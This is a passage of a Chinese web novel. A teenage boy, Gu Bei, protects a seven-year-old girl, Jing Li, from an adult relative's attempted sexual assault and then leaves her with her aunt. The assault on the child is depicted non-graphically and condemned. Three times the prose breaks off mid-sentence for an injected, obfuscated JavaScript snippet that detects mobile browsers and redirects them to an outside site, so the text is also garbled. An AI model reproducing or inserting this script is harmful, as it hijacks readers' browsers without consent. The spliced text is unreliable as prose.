顾北有点卡壳,想了想,说:“误会你喜欢他。” 荆梨不解,歪头凑到他跟前:“可是我确实喜欢哥哥呀。” 顾北被问住了,他顿在原地,心道养孩子是真麻烦,像十万个为什么成精了,一个没回答好后面连珠炮一般不停轰炸。 他干脆直接放弃,催促她上床睡觉:“反正以后不准说了。” 荆梨开始混乱了。 怎么以前妈妈教她的东西,在小北哥哥这里都行不通了呢。 吃饭她可以先吃第一口。 洗澡她得自己洗。 连她夸别人是帅哥也不准。 七岁的荆梨在这一刻陷入了深深的纠结当中,好一会儿才艰难地得出一个结论。 那就是——小北哥哥只允许他自己是帅哥。 顾北帮女孩盖好被子,床头的旧风扇调到一档,关掉卧室大灯,自己则走到书桌前坐下,将小台灯点亮,翻开作业开始学习。 荆梨在一片昏暗中睁开眼,月光从小窗户照进来,落在地板上,似轻柔缥缈的银纱。 夜晚静悄悄的,她能听出来梧城的蝉鸣和滨宁的不同,因此,她也终于有了离家的实感,心口不自觉漫上一股名为惆怅迷茫的情绪。 对未来的恐惧,以及对母亲的思念,这一刻如同汹涌的潮水,将她的眼眶打湿,荆梨用力揉了揉眼睛,下意识去寻顾北的身影。 只见少年坐在桌前,宽阔的背影挡住昏黄的灯光,似给他镀上一层金色的光边,朦胧又不真切。 荆梨那颗动荡不安的心瞬间落了回去,她也没那么想哭了。 忽然间,她突然找到了那两种安全感的区别。 妈妈给予的安全感像雨伞,只要妈妈在,她就可以不惧风雨,一直往前走。 而小北哥哥给予的安全感,则像北极星。 妈妈说过,天空的北部存在着一颗非常亮的星星,叫北极星。 它的位置几乎不会变动,始终指向北方,迷路的人只要抬头看着它就知道家在哪儿了。 小北哥哥,就是北极星。 他或许不能为她遮风挡雨,但在她失去雨伞,被雨淋湿的时候不会迷失方向,知道她的北方在哪,心便再也不会慌张了。 似是感受了来自背后的注视,顾北下意识扭头望去。 四目相对,荆梨愣住,大眼睛冒出傻气。 顾北无声叹气,他把笔盖好,作业合上,起身关掉台灯,轻声走到床边,将一卷凉席铺在地上,直接躺了上去。 荆梨一时没反应过来,紧接着却见一只手从下面伸到床上。 那手上布满了已经结痂的伤痕。 是小北哥哥的手。 “害怕就抓着。”少年倦懒的嗓音在黑暗中响起。 他以为小姑娘不敢一个人睡觉。 不知道为什么,荆梨眼眶再一次泛热,她小心翼翼地攀住那只手。 顾北收紧手指,温热的掌心轻而易举便包裹她整只拳头。 下一秒,有道细弱的鼻息喷洒在他的手背。 连绵不断,伴随着无声沁润的眼泪。 他心脏一软,又叹了口气。 15.family Chapter 15 那晚在卫生间门口发生的事像一阵烟就这么过去了,顾军第二天并未发作,顾北不觉得放松,反而感到意外,因为这并不符合顾军小心眼的性格。 荆梨就这么在顾家相安无事地住了两天。 第三天晚上刘春迎终于有了信儿。 【明天上午十点,把荆梨带到绿苑小区,我在门口等你们。】 看到短信,顾北下意识扭头去看趴在床上的荆梨。 小姑娘正翻着他的英文读物,目不转睛地盯着上面花花绿绿的图画,眉心微蹙,看得格外认真。 中文字都还不会写,倒认上英文了。 这两天顾北不敢让她独自走出杂物间,连吃饭上厕所他都要亲自跟着,生怕出个什么意外。 一想到明早就能将荆梨送到她舅妈那里,不用再跟着他像只小老鼠一样躲在阴暗的角落里,顾北紧绷了两天的神经终于得以喘息。 他没忍住弯了弯唇角,被抬头的荆梨捕捉到。 小姑娘大眼睛扑闪,下了床三两步跑到他跟前,将书本展开搁在桌上,手指了指示意他看。 顾北垂眸:“一幢大房子。”他挑眉,“怎么了?” 她翻开的那页是一张欧式别墅的插画,色彩鲜艳,十分温馨。 荆梨稚声稚气:“哥哥,房子的英文怎么说啊?” “house。”顾北软骨头一般托着腮,嗓音懒懒地说道。 “耗,死。”荆梨盯着他的口型,发音用力。 顾北闷笑一声,耐心地纠正她:“不是耗死,最后一个音发的轻一点。” “house。” “house。”荆梨这一遍念的很标准,眼睛亮晶晶地望向他。 顾北如她所愿点点头,给予肯定:“很好。” 荆梨又问:“那家的英文也是house吗?” 顾北摇头:“家的英文是family。” 荆梨疑惑地皱起小脸:“为什么房子和家的英文不一样啊?” 顾北歪着脑袋琢磨如何回答,随后轻声说:“因为房子只是砖头垒成的建筑,房子不是家,只是房子而已,而家是由你爱的人和爱你的人组成的,只要你们在一起,不管住在哪都是你的家。” 说罢,他忽然想起儿时初学“family”这个单词时,老师教过的一个记忆口诀——father and mother i love you. 这句话里所有单词的首字母连起来就组成了family。 顾北神色蓦然黯淡,嘴角的笑落了下去。 荆梨明显没太听懂,但还是乖巧地点了点头。 顾北好奇道:“你问这个干嘛?” 荆梨没回答,而是向他借了支铅笔。 顾北将笔袋里的自动铅笔递给她,见她抱着书本又趴回了床上。 他靠着书桌,沉默地瞧着荆梨在那页上涂涂画画,神情淡淡,黑眸无波无澜,视线逐渐失焦,就这么走了神,好一阵才在静谧中哑声开口:“明天一早哥哥就把你送你舅妈那儿,到她家后你记得要乖乖的,听舅妈的话,别惹她生气。” 不知为何,说这话的时候他的心情并不如他想象中轻松。 胸口憋闷,似压了块大石。 荆梨画画的动作猛地停顿,她没抬头,也没回话,只是执拗地看着面前的书,大颗大颗的眼泪晕染了她刚画的画。 房内一时陷入安静,有种难以言喻的伤感氛围在蔓延。 顾北空咽了一口,喉骨滑动,想再说些什么缓和气氛,可嗓子眼里仿佛被堵住了,嗫嚅半晌只剩一声叹息。 按理说他们认识还不到一周,彼此之间也没什么感情基础,最多就是一起从李东家逃跑的那段经历算得上深刻,用陌生人来形容他俩的关系也不为过。 可莫名的,分别时刻真的来临时,一股淡淡的惆怅却在心里蔓延。 顾北闭上眼叹了口气,暗道自己什么时候变得那么矫情磨叽了。 还“乖乖的,听话,别惹人家生气”,又不是他生的,管那么多。 “……” 他皱眉,有些不爽。 或许,就是他管的太多了,心里才舍不得…… - 得知荆梨明天就要走了,吃晚饭时潘文丽难得露出好脸,夹了只中午吃剩的鸡翅膀放在荆梨碗里。 荆梨看向一旁的顾北,见他微微点头,她才道了声“谢谢阿姨”,不太熟练地用勺子小口小口地吃。 “好歹住了这么些天,她家长就没说要表示表示?”潘文丽忽然跟顾北说。 顾北听懂了她的意思,瞬间如鲠在喉,嘴里的食物变得难以下咽。 他费劲吞下去,头都没抬,声音哑涩:“没有。” 潘文丽“哐”一声把碗用力搁在桌上。 顾卫朝用筷尖搜刮咸鸭蛋壳里最后那么点蛋白,说:“行啦,跟孩子斤斤计较什么,让人笑话。” 潘文丽刻意地哼笑出声,不知道在嘲讽谁。 等荆梨将鸡翅吃干净,顾北便拉上她回了屋。 跟那家人多待一秒都觉得窒息。 只是他没注意到,在他俩转身后,桌旁的顾军投过来的,意味深长的目光。 深夜,杂物间内,睡着的荆梨突然睁开眼,她撑着床板坐起来,揉了揉眼睛,嘴里砸吧了两下。 晚饭吃的那只鸡翅太咸了,她为了不起夜上厕所睡前就没喝水,导致现在渴的嗓子都发干了。 借着窗外的微弱光亮,她探出头看向睡在地上的顾北。 少年侧躺着身体微蜷,眉头紧皱,额头冒汗,看样子应该正在做什么噩梦。 她张了张嘴,踌躇了两秒,还是没好意思叫醒他,便自己慢慢爬下床,走到门边,将门拧开一条小缝,眼睛透过门缝观察着客厅。 电视柜上不知道什么东西在一闪一闪,置物架上的小鱼缸发着幽幽白光,一切都静悄悄的,看着很安全。 只要跑到茶几那边,快点喝完水再跑回来,就没事了。 荆梨这样安慰自己。 她轻轻推开房门,赤着脚迈出屋子,朝沙发的方向走去,冷水壶就摆在茶几上,旁边搁着几只杯子。 荆梨抿着唇,莫名的紧张,直到把水颤颤巍巍地倒进杯子里,狼吞虎咽地喝完满满一杯,她才放松下来。 正准备转身回屋,下一秒,一只手突然从后面抱住了她。 荆梨双眼惊恐地瞪大,还没来得及尖叫,嘴就被一只手封住了,只能发出小兽似的呜咽。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13584139|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她立刻疯了一样挣扎扭动,手脚并用地踢打身后的人,可那人跟座肉墙一样,她的反抗完全形不成威胁,而且对方力气极大,箍着她的腰轻易便将她抱离地面,接着她整个人被那人狠狠按倒在地上,后背砸到地板的那一刻她觉得自己的五脏六腑移了位一样的疼。 借着从街道照进房屋的车灯剪影,荆梨看清了压在她身上的男人。 是顾军。 看清来人,荆梨心脏骤停,脑袋已经吓懵了,黑漆漆的眼睛睁到最大,里面倒映出顾军那张满是横肉、笑容狰狞的脸。 “嘘——” 顾军一只手箍住女孩的手腕,另一只手死死掐住女孩的下颌,掌心压着她的嘴巴。 他像在盯着自己好不容易得手的猎物,眼神有种诡异的光彩,让人不寒而栗。 “别出声。”他俯下身子,带着热气的呼吸凑到荆梨的耳边,刻意压低的嗓音嘶哑难听,“跟哥哥玩个游戏,把他们吵醒就不好玩了。” 荆梨一点也不想玩什么破游戏,她已经被吓得眼泪直流,被捂住的嘴巴还在不断发出求救的呜鸣,双腿乱蹬,试图挣脱身上的肉山。 这一刻她突然想起李东把她捆在椅子上的那天,男人周身散发出来的气息和现在的顾军好像,黏腻、恶心,可怖,就像小时候追过她的那条野狗,满是尖利獠牙的大嘴滴下腥臭的口水,令她打心眼里害怕胆寒。 求生的本能让荆梨不顾二人体型的差距,脚不断去踹茶几腿,想要发出声音叫醒顾北,可顾军先一步察觉她的企图,他直接把人拽到了沙发上,许是被激怒了,亦或是害怕被人发现自己的恶行,他现在只想让荆梨不再动弹好好陪他玩游戏,眼神乱瞟间他注意到一旁的抱枕,一把抓过来,病急乱投医一般盖在女孩的脸上,双手用力。 “我叫你别动!” 他猩红着眼低吼道,仿佛从地狱爬上来的恶鬼。 在窒息的痛苦下,荆梨下意识去推脸上的抱枕,顾军见状便腾出一只手把她穿的短袖往下拽,领口因拉扯而变形撕裂,男人的笑容愈发猥琐。 在荆梨即将脱力之际,隔着厚实的抱枕,她听到男人发出一道短促又痛苦的:“啊!” 紧接着,她脸上的抱枕被拿开,身上的压迫感也没了,她被拥进了一个熟悉的怀抱当中。 荆梨下意识抬头,撞进顾北阴沉到骇人的眼睛,心陡然一颤,她还没从方才的惊吓中回过神,只呆呆地望着他,眼泪不断从眼眶滑落,模样可怜又无助。 顾北单手将人抱在怀里,周身萦绕着生人勿进的冷意,他的胸膛在剧烈起伏,鼻息因愤怒而粗重,眼眸漆黑如墨,似台风席卷的海面,翻腾着汹涌可怖的波浪,他低眸冷冷地盯着瘫倒在地的顾军,眼神像在看一个死人。 他垂下的手上正抓着刚刚荆梨喝过的茶杯,此时茶杯底部沾着泛热的鲜血,而顾军后知后觉地抱住自己的脑袋,痛苦的在地上蠕动蛄蛹,他凶狠地瞪向打扰他好事的顾北,嘴里不停骂着脏话。 顾北没说一句话,他默默将荆梨放下,自己则走到顾军身边,缓缓弯下身。 “你他妈死定了!我要打死你个小.逼……” 顾军后面的话还没骂出来,他的领子就被顾北一把揪住,下一瞬,一个携着劲风的拳头就砸在了他的脸上。 16.抛弃 Chapter 16 顾军痛苦的哀叫吵醒了主卧里熟睡的夫妻俩,二人神色惊慌地跑出来,脚步还有些打飘。 光线太暗,具体发生了什么事他们看不见,只听儿子在不断呼痛叫骂,伴随着茶杯破碎的声响,顾卫朝还以为家里进贼了,顾军正在和他缠斗,他惨白着脸,忙哆嗦地将客厅灯打开。 灯亮的一瞬,二人看清了客厅里的场景。 只见顾北那个臭小子正跨坐在他们宝贝儿子的身上,一手掐住他的脖子,另一只手不断挥拳落在顾军脸上。 顾军每挣扎叫嚣一次,他挥拳的力度就加重几分,打得顾军鼻血直流,嘴角都渗出了血丝,快出气多进气少了。 反观顾北,他此刻宛如一个杀红了眼的煞神,眼神漠然,仿佛无人阻止的话他今天就能活活把顾军打死。 “啊啊啊小军!我的儿子!” 潘文丽先一步回过神,她尖叫着推开顾北,跪倒在顾军身边,望着面前奄奄一息的儿子她慌了神,双手不知所措地顿在半空,迟迟不敢去碰他,嘴里发出心疼的哭嚎。 顾北被突然推倒,一时没从方才盛怒的情绪里出来,他手撑着地板,阴冷的目光还在死死盯着顾军,似一条无形的毒蛇,下一秒就能扑上去咬住他的动脉。 顾军大口喘气,歪着脑袋啐了口血沫,他顶着青紫肿胀的乌眼眶,手指向顾北,嗓音虚弱道:“妈,他疯了,他要打死我……” “畜生!无法无天了你!我要报警!我要找警察抓你!”潘文丽总算把死猪一样沉的顾军捞进怀里,三角眼满是怨毒,边捶打顾北的胸口边恨声道。 顾北不愿意再继续忍气吞声下去了,他轻易便制住女人的手甩到一边,随后扶着沙发摇摇晃晃地站起来,居高临下地睨着地上的母子俩。 少年肩背佝偻,一身黑将他清瘦高挑的身影衬出几分无形的压迫,那双锋利的凤眸被额发阴翳遮掩,但眼里的冷戾与凶狠依旧怔住了二人。 他们习惯了少年逆来顺受,忘了被关起来的猎犬也还是猎犬,他从骨子里就不是能被驯服的。 一直以来他都在忍罢了。 “要抓我是吧。”顾北笑了笑,手伸进裤口袋,攥住手机,接着表情玩味地看向顾军,“那在你报警抓我之前,我得先报警了,让警察把你的好儿子抓进去。” 顾北话音刚落,顾军下意识心虚地瞥了眼站在不远处的荆梨,脸色变了又变,最终化为惨白。 潘文丽没注意到儿子的反常,骂道:“小畜生放什么屁呢!看看小军被你打成什么样了,鼻血流成这样鼻梁骨肯定断了,我告诉你这次我绝对不会放过你的,你就等着吃牢饭吧!” “是吗,我倒要看看是我吃牢饭还是你儿子吃。” 说罢顾北掏出手机就要报警,却被在一旁装死半天的顾卫朝扇了一巴掌,在他愣怔间,手机也被对方眼疾手快地夺下砸在地上。 “顾北!”男人指着他双目圆瞪:“大半夜胡闹什么,快给小军道歉!” 这还是顾卫朝第一次对他动手,往常吵架他都把自己摘干净拿潘文丽当枪使。 看来顾军干的脏事,他应该也知道一点。 不然不会这么激动地打断他,还忽略两人动手的原因,给他台阶下。 思及此,顾北顶了顶左腮,偏头,目光晦暗地盯着男人,身体不自觉后退一步,握住荆梨冰凉发抖的小手。 他得带着荆梨赶紧离开这里。 眼下的情况他们占不到半分便宜。 察觉丈夫有意偏袒,潘文丽顿时气得红了眼眶,为自己和儿子感到委屈:“顾卫朝!这个小畜生要杀了你儿子啊,你个当爹的什么意思?你难不成要放过他?” 顾卫朝厉声斥到:“你给我闭嘴!大晚上的邻居都睡觉呢,你他妈把警察招来,生怕人家不知道咱家的笑话是吧!” “我不管!我只知道我儿子被打了!你等着我现在就报警,今晚这事我非讨个公道!” 潘文丽放下话便起身去拿手机,顾卫朝连忙去拦她,两人竟然就这么在卧室里撕扯起来。 趁他们拉扯的功夫,顾北没有犹豫,捡起自己的手机,转身进屋把郑倩的手机连同荆梨来那天穿的衣服一齐揣进包里,接着抱起还懵着的荆梨,一瘸一拐地逃出房子。 地上的顾军眼睁睁看着他们离开,没有出声。 他也不敢出声,真闹到警察局,即便没造成实际伤害,但那小丫头的证词加上顾北亲眼所见,就够他喝一壶的。 等人下楼走远了,潘文丽才终于从顾卫朝手里抢回手机,她边输号码边气势汹汹地回到客厅,却发现顾北和那小孩已经不见了。 她愣了愣,问:“人呢?” 顾军拽了几张纸堵住鼻孔:“跑了。” 潘文丽尖叫:“你怎么让他们跑了!” 顾军不耐烦地摆摆手:“行了妈,我不追究了,算我倒霉。” 话落,他撑着坐起来,给自己猛灌了杯凉茶,嘴角牵扯的疼痛让他不自觉嘶出声,手一抬,把杯子砸了。 屋里霎时安静,潘文丽也终于噤了声。 - 另一边,顾北在疯狂给刘春迎打电话。 此时已是凌晨两点,刘春迎夜里十一点多才从机场赶回家,洗完澡就睡下了,手机还在提包里没拿出来,铃声闷在皮质夹层里,听不真切。 梧城的夜空是暗红色的,像大火燃烧过后墟境,星星被浓烟埋藏,不见任何的生机。 荆梨大眼睛无神地仰望天空,胳膊紧紧搂着顾北的脖颈,随着他的移动,她的视线也跟着变换。 他们又逃走了。 世界在这一刻突然很像一张摸不透风的网,他们两个是粘在上面的小飞虫,越挣扎粘的越紧,越逃不脱。 在他们不知道的角落,或许存在一只硕大的蜘蛛,正准备将他们蚕食殆尽。 对她来说,被粘住被吃掉,不管哪一种结局都一样。 因为有小北哥哥陪着她,只要他不放开牵着她的手,那这个糟糕的世界给予她的任何结局,她都可以接受。 不知道打了多少通,对面始终无人接听。 直到路过一个公交站台,顾北才停下脚步,他将荆梨放下来,自己坐到凳子上,整个人几乎被汗打湿。 他闭上眼缓了好一会儿才稍稍把气喘匀。 荆梨安静地站在他面前,手指抓着衣摆,她没穿鞋,脚底就这么直接接触地面。 顾北睁开眼看到的就是女孩白净的脚丫,脚趾无措地交缠,透着股可怜劲儿,仿佛做错事儿的人是她。 顾北忽然觉得好烦,烦的他想跑回去再把顾军揍一顿,烦的他想揍自己一顿。 那烦躁又渐渐演变成内疚,自心底不断蔓延。 这丫头从出来到现在一声都没哭过,别是吓傻了。 他叹了口气,飞快地眨了眨泛热的眼,伸手扣着她的后脑勺,把人搂进怀里,荆梨乖乖地回抱住他,脸埋入颈窝。 顾北轻拍她的后背,鼻音有些重:“身上有没有痛的地方?” 荆梨摇摇头。 “吓到了吧。”他问。 荆梨点点头。 顾北心头一顿,哑声说:“那你哭一会吧,哥哥听你到哭才放心。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594370|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荆梨没点头也没摇头,但几秒钟后,他怀里响起闷闷的呜咽。 呜咽声逐渐变大,很快变成嚎啕。 顾北心口一窒,慢慢收紧了胳膊,喃喃道:“对不起……” 空无一人的街道,偶尔飞速驶过几辆汽车,他们像被抛弃的小动物,只能彼此相拥取暖。 半小时后,顾北好不容易拦下一辆出租车,他跟司机报了刘春迎家小区的名字。 荆梨哭累了,缩在他胸前沉沉睡去。 顾北边轻轻给她拍背,边再次给刘春迎拨了过去。 这次对面终于接电话了。 “喂?”刘春迎声音沙哑,显然刚刚还在睡梦中。 顾北不跟她废话:“你现在在家吗?” 刘春迎:“在啊。” 顾北:“我正和荆梨往你家小区赶,大约二十分钟后就到,你来小区门口接我们一下。” 刘春迎闻言彻底清醒,她看了眼墙上的时间,觉得荒唐又莫名:“现在?大晚上的你们过来干嘛,不是约好的明早十点吗?” 顾北捏了捏发胀的额角:“没空跟你解释,总之我现在把她送过去,你既然在家就下来接她。”说完,他挂断了电话。 收好手机,顾北垂眸深深望着女孩恬静的睡颜,良久,他滚了滚喉结,无声道:“再见了。” 夜里路况好,出租车不到二十分钟就停在了绿苑小区门口。 顾北抱着迷迷糊糊的荆梨从车上下来,有些艰难地拄着拐杖朝保安亭的方向走去。 离得近了,他瞧见一个剪着利落短发的女人等在那儿。 看来她就是荆梨的舅妈。 刘春迎也看到了他们,注意到顾北的模样时她短暂地怔了下,随即反应过来,快步上前接过趴在少年肩头的女孩。 刘春迎定定地看着荆梨,久久都未曾移开眼。 女孩和她妈长的太像了。 “这是她的衣服和鞋子,还有她妈妈的手机。”顾北拉开背包,把里头的东西递给刘春迎。 刘春迎被对方的利索和干脆弄得大脑宕机了一样,迟钝地伸手接过:“谢谢……” “人给你送到了,那我先走了,你照顾好她。”顾北将包甩到背上,毫无留恋地转身就走。 可下一秒,一道软软糯糯的嗓音叫住了他。 “哥哥……”荆梨醒了。 顾北脚步轻顿,下颌紧了紧。 他没有回头,继续往前走。 “小北哥哥!”荆梨带着哭腔的呼喊从身后传来。 “乖哦荆梨,跟舅妈回家。”刘春迎哄道。 “你是谁啊,我不要你,我要小北哥哥!” 刘春迎:“小北哥哥回家睡觉啦,乖啊,我们也回去睡觉。” 荆梨的哭叫越来越大声,情绪也愈发激动:“我不要你,我要哥哥,小北哥哥!别不要我!我会乖乖的,别不要我!” 女孩撕心裂肺的呼唤朝顾北砸过来,他呼吸颤抖,死死咬着牙,眼眶早已红成一片。 他从来不知道,原来“抛弃”也是需要勇气的。 但他不能回头,他连养活自己都困难,荆梨跟着他会吃苦的。 那个女人看起来很能干,荆梨在她的照料下会好好长大,她的未来会充满光明与无限可能。 而他的未来……太渺茫了,见不着光,荆梨在他的影响下只会一起变的黯淡。 “哥哥!”荆梨的哭喊在夜空响彻,“你别不要我!我找不到家了!” 北极星不在,她的家也就找不到了。 对不起。 荆梨。 17.未来 Chapter 17 顾北打车回到那个“家”里。 客厅的灯没关,地上还维持着他走前的样子,茶杯碎片四散,茶几也移了位,安安静静,一片狼藉。 估计是夫妻俩带着顾军上医院处理鼻子了。 这样也好,剩他一个人,清净。 顾北慢慢走进他那个小杂物间,关上门,光源被阻隔,他被黑暗吞噬笼罩。 他站在原地发了会呆,对着一眼望尽的房间,突然觉得心口空落落的。 他又回到了一个人的状态,可是他却不习惯了。 经过一晚的折腾,顾北已经睡不着了,他干脆坐到书桌前,打开并不怎么亮的小台灯,随手翻开一本书,盯着上面密密麻麻的字母,一个单词都认不出来。 他不知道为什么自己这么烦,烦的他想把书砸了。 手刚把书抓起来,一支自动铅笔从书里掉了出来。 他愣了愣,弯腰把笔捡起来。 是今天他给荆梨画画的那支。 顾北眉头轻蹙,目光重新落回书上,他手指微动,翻到印着欧式大别墅插画的那页。 等看清上面的内容时,顾北神情微怔。 只见原本空荡荡的大花园里,多出了两个用铅笔勾勒的小人。 一大一小,一高一低,大的那个板着臭脸,小的那个笑容明媚,二人手牵着手,站在漂亮的花园里,仿佛身后的那所大房子就是他们的家。 下面还有铅笔写的歪歪扭扭的拼音:“xiao bei ge ge he xiao li de jia” 房子只是房子,但和爱的人住在里面,房子就变成了家。 顾北一动不动地盯着那串拼音,眼眶逐渐泛热,他磨了磨发酸的后槽牙,从喉咙里挤出一道短促的哼笑。 这个小丫头,真的很容易让人放心不下啊。 这一刻,他似乎有点明白自己到底在烦什么了。 他烦空荡荡的房间,烦阳光照不进的生活,烦只有他自己面对的未来,烦这个世界上没有一个人真心在乎他。 无关乎父母,无关乎金钱,只在乎他这个人。 他本来都接受就这样孤独地一直走下去了。 可是现在有个人把他画进了一个被鲜花与阳光填满的未来里。 他忽然不愿意再委屈自己忍受孤独了。 凌晨万物寂静,少年的眼泪砸在书本上犹如千斤重,力透纸背,将那两个小人打湿。 顾北神色恹弃地闭上眼,脸埋进臂弯,坚硬的背脊弯成一张脆弱的弓,仿佛轻轻触碰就会碎掉。 不足十平的小房间困住了他,他也亲手将唯一能让他走出杂物间的希望给丢掉了。 - 疲惫席卷全身,顾北就这么趴在桌上睡着了。 不知过去多久,他被口袋里嗡嗡作响的手机叫醒。 他猛地抬起头,下意识望向窗外。 天还黑着。 这难捱的一夜还没过去。 他掏出手机,发现打来的是串陌生号码。 “喂?”他强忍着心烦意乱,哑声开口。 刘春迎焦急的嗓音伴随着呼呼的风声从听筒传来:“请问是顾北吗?” 顾北一瞬间坐直身子,呼吸轻顿:“是我。” 刘春迎赶忙道:“小梨趁我不注意从家里跑出去了,我怕她是去找你了,能不能请你帮我留意一下。” 听到荆梨不见了,顾北心口一窒,想也没想就拿上拐杖往外走:“她什么时候跑出去的?” 刘春迎:“十分钟前,她趁我给她铺床的时候开门走的。” 顾北闻言不由恼火:“你为什么不把大门反锁了?” “我反锁了,但她自己给开开了。”刘春迎语气染上哭腔,“这孩子,手机没拿,鞋也没穿,就这么悄无声息地走了,万一出意外了该怎么办啊……” 顾北闭了闭眼:“行我知道了,我现在下楼找她,如果看到她我再打给你。” “好好好,拜托你了。” 挂完电话,顾北撑着拐杖一蹦三格的跳下楼梯,沿着去往小区的方向一路寻找。 没走几步他又猛地停下,低头思忖,这里距离绿苑小区有十多公里的路程,七岁的小姑娘哪怕走一整天都不一定能走完,况且她还不认识路,估计还在小区附近打转。 这么想着,顾北赶紧走到路边拦车,幸运的是这次他没花什么时间就等到了一辆出租。 二十分钟后,他再次来到绿苑小区门口,此时已是凌晨四点多,小区附近的早餐摊炊烟袅袅,沉睡的城市开始苏醒。 他撑着拐杖一瘸一拐地走到保安亭前,透过窗户朝里看去,值班的大爷睡得很沉,看来问他也问不出什么。 “顾北!”刘春迎气喘吁吁的声音在身后响起,“怎么样?你有在路上看到她吗?” 顾北扭头看向她:“我估计她还在小区附近,就打车过来了。” “你呢?小区里都找过了吗?” 刘春迎擦了擦脸上的汗,说:“整个小区我都找了一遍,没看到她,我就请物业调了监控,监控里显示她一路跑出了小区,所以我正准备出去找。” 顾北点点头,手指向左边的街道:“那一起吧,你去那边找,我到这边。” “好。”刘春迎说完,便朝少年指的方向跑去。 顾北沿着街道仔细寻找,连死胡同都要进去看看,可哪怕他一条路走到了尽头,都没看到荆梨的影子。 他不死心,准备回头再寻一遍,就在他转身的时候,余光瞥到街对面的墙角处,蹲着一个宝蓝色的身影。 因为招牌遮挡,所以他开始没注意那个地方。 心陡然落回肚里,他沉着脸走过去,站定在女孩面前,压着火哑声道:“为什么要跑?” 荆梨光着脚蹲在地上,瑟缩成小小的一团,脸上挂着半干的泪痕。 她高仰起头,眼眶通红,嘴瘪着不吭声,乌黑的大眼睛一眨不眨地与他对视,犟得没边了。 顾北滚了滚喉结,语气不由加重:“你知不知道你给人添麻烦了,你万一出个什么事儿,你让她怎么办?你让我……” “我不认识她。”荆梨梗着脖子打断他,“我不要跟她住!” 相识以来,这还是女孩第一次忤逆他,不听他的话。 顾北愣了愣,话头堵在嗓子眼。 荆梨起身迎上少年诧异的目光。 那件宝蓝色的奥特曼短袖盖住她瑟瑟发抖的身体,明明那么的丑,那么的不合身,可刚刚刘春迎叫她换下来时,她就是不愿意换。 “我不要跟她在一起。”她瘪着嘴,鼻头耸动,眼泪又落了下来,被她倔强的用手背擦掉,“我只想和你在一起。” 顾北低头无奈地沉了口气,眉头紧锁:“她是你的舅妈,是现在这个世界上你最亲近的人,你必须得跟她在一起。”他顿了顿,眼眸黯然无光,嗓音仿佛从沙子里滚过,带着微不可闻的颤抖,“而我对你来说,什么也不是。” “你是小北哥哥。”荆梨哽咽道,“妈妈说你会照顾我的。” “你妈妈说什么你都信啊。”顾北笑了笑,残忍地再次把她推开,“我告诉你吧,她骗你的,我不会照顾你,也不会再对你好了,我很烦你。” 少年冷漠的眼神和话语像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604607|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把尖刀,将还不明白“口是心非”这个成语的七岁小孩扎得伤心大哭。 顾北深吸口气,强压胸腔深处的酸涩,伸手牢牢攥住荆梨的胳膊,扯着她回到小区门口。 他给刘春迎打了通电话,等她回来后便将哭到缺氧的女孩交到她手上。 眼看顾北又要走,荆梨立刻扑过去死死拽住他的手腕,哀求道:“哥哥求求你,别不要我,我只想跟你在一起。” “小孩。”顾北冷冷地盯着前方,不为所动,“放手。” “……”她又不吭声了,就这么僵持着。 “你真的很烦人。”他叹了口气,甩开她的手,“我最讨厌烦人的小孩” 荆梨被丢在原地,她扣着手,望着顾北冷硬的背影,大眼睛充斥着惶恐与不安:“可是我不讨厌哥哥。” “所以呢,你因为不讨厌我,就想缠上我么。”顾北嗤道。 “我没有……”荆梨弱声说,扣手指的动作越发粗鲁,“我只是想,有一个家……” “你有家。”顾北打断她,“你现在就可以和你舅妈回家。” 荆梨用力摇头:“可是你说房子和家是不一样的。” “骗你的,没什么不一样,只要有个住的地方,没有家人,自己一个人也可以好好地过下去。”顾北无所谓地笑笑。 “可是……”荆梨突然卡住,什么也说不出来了。 小北哥哥的意思是,他这些天都在骗她。 可是……她的感觉不会骗她,小北哥哥并不讨厌她。 空气陷入死寂,顾北垂下眼,自嘲地勾勾唇,他抬起脚,再一次选择了只有他自己一个人,孤独的未来。 “哥哥你撒谎……” 顾北脚步猛地一顿,浑身僵硬,心脏仿佛被人攥在掌心用力揉搓。 “你明明不讨厌我,你明明很害怕一个人。” 少年无声嗤笑,暗道这小孩原来一点也不笨。 或者说,是他一直在自以为是。 将自认为好的结局推给她。 顾北继续往前走,荆梨被刘春迎抱住,她奋力挣脱开,亦步亦趋地跟在少年三米远的地方。 就像当时顾北将她救出李东的房子,他让她先跑,她却不肯走一样。 后来,长大的荆梨才慢慢意识到,她这个人其实很倔很倔,认定了一件事一个人,就会一头猛子扎进去,哪怕是错的路,错的人。 他们就这样走到路口,直至红灯迫使他们停下。 荆梨捂住自己的嘴压住哭声,望着少年的背影,希望他能反悔掉头,把她带走。 